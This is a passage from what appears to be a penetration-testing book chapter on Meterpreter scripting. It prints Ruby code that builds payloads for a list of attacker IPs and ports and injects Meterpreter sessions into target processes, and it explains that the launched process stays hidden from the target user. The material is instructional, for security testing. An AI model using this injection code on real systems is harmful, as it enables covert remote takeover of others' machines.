240
Chapter 16
The boldfaced call lets us execute any command on the operating system.
Notice that
Hidden
is set to
true
. This means that the user on the other side
(the target) will not see anything; if Notepad is opened, it will run without
the target user’s knowledge.
Next we call our functions, throw if statements, and start the payload:
################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-p"
lport = val.to_i
when "-m"
start_handler = true
when "-pt"
payload_type = val
when "-mr"
multi_ip = val.split(",")
when "-mp"
multi_pid = val.split(",")
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
# Create a Multi Handler is Desired
create_multi_handler(payload_type) if start_handler
Finally, we go through a couple of checks, make sure the syntax is correct,
and inject our new Meterpreter session into our PID:
# Check for a PID or program name
if multi_ip
if multi_pid
if multi_ip.length == multi_pid.length
pid_index = 0
multi_ip.each do |i|
payload = create_payload(payload_type,i,lport)
inject(multi_pid[pid_index],payload)
select(nil, nil, nil, 5)
pid_index = pid_index + 1
end
else
multi_ip.each do |i|
payload = create_payload(payload_type,i,lport)
inject(start_proc,payload)
select(nil, nil, nil, 2)
end
end
end